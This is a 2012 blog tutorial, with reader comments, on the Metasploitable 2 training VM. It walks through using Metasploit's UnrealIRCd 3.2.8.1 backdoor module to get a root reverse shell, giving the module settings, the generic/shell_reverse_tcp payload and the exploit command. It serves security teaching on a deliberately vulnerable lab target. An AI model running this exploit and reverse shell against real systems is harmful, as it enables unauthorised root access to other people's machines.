Metasploitable 2.0 Tutorial Part 3: Gaining Root from a Vulnerable Service

Continuing our tutorial series on Metasploitable 2, the purposefully vulnerable virtual machine used to learn security techniques, this time we will look at how to get root access from a vulnerable service.

We saw in previous tutorials how to scan a system for open ports with Nmap, and how to use Metasploit’s built in scanners to identify software revision levels.

I alluded to it earlier, so let’s take a look at UnrealIRCD sitting at port 6667. I chose this service for a few reasons. First of all there are numerous Metasploitable how-to’s out there, but a lot of them focus on the standard services. Secondly, in real life, which is the service that will most likely go unpatched? The main web server or some secondary service that was installed for a project and then forgotten about?

So let’s get started!

From the nmap scan we saw this output for Unreal ircd:

Let’s take the version number and do a search to see if there are any vulnerabilities or exploits that we can take advantage of. We can search the web, or we can search inside Metasploit using the “search” command. Let’s look at both!

First a quick Google search for “Unreal3.2.8.1 exploit” returns this:

Cute, this version of UnrealIRCD had a backdoor added to it. Well I think this is definitely worth trying, especially as it has an “Excellent” Metasploit rank, which basically means the exploit is very stable and works consistently. The exploit to use is listed further down Metasploit’s webpage, but we could find it by using the “Search” command in the Metasploit Framework as below:

As you can see there is only the one exploit in Metasploit for UnrealIRCD and it is the backdoor exploit.


So, let’s “use” it and check the options:

All it needs is the remote host address:

set RHOST (Metasploitable’s IP address)

Don’t forget to choose a payload for the exploit:

This command lists all the payloads that are compatible with this exploit. Unfortunately they are all command shell’s. A Meterpreter shell would be better than a command shell, and give us more options, but for now we will just use the generic reverse shell. This will drop us right into a terminal shell with the target when the exploit is finished.

set PAYLOAD generic/shell_reverse_tcp

For this payload all we need to do is set the LHOST command (the IP of our Backtrack Metasploit system) and then do a final “show options” to make sure everything is set okay:

Our RHOST (target) and LHOST (Attacker system that the shell will connect to) values are correctly set.

We are golden, now just type “exploit”:

Notice it says that a session is opened, but then it just gives you a blinking cursor. You are actually sitting in a terminal shell with the target machine. As you can see above, I typed “whoami” and the target system responded with “root”. The “Root” user is the highest level user that you can be on a Linux machine! It worked!

So to re-cap, we found an open service on the target machine. Searched for and found an exploit that works on the software version present. And finally, used the exploit and obtained a full remote shell.

All the standard Linux commands work with our shell that we have. But if you poke around a little bit, you will find that you are in the /etc/unreal directory (use the “pwd” command).  And it will not allow you out of this directory. Odd, but don’t forget that we are the Root user! We can make new users, or do almost anything else that we want.

* Update – Ran this using a different shell as a payload and was able to surf the directory structure without problems.

In the next tutorial I will show you how to grab information from the Linux machine using our foothold that will allow us to access other existing accounts and further exploit the system.

Until next time!

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~ by D. Dieterle on August 8, 2012.

8 Responses to “Metasploitable 2.0 Tutorial Part 3: Gaining Root from a Vulnerable Service”

  1. Reblogged this on lava kafle kathmandu nepal.

  2. thinx

  3. [...] Metasploitable 2.0 Tutorial Part 3: Gaining Root from a Vulnerable Service [...]

  4. Reblogged this on Danielito C. Vizcayno Blogs.

  5. Great brief summary. Well worded and helpful

  6. I did everything step by step and after the ‘sending backdoor command’, it seems to time out and kicks me back to the msf exploit(unreal_ircd_3281_backdoor) > input screen.

    • Not sure, can you ping the target? Sometimes a firewall or some Anti-Virus Security programs (even if just on the host in a VM environment) will block Metasploit.

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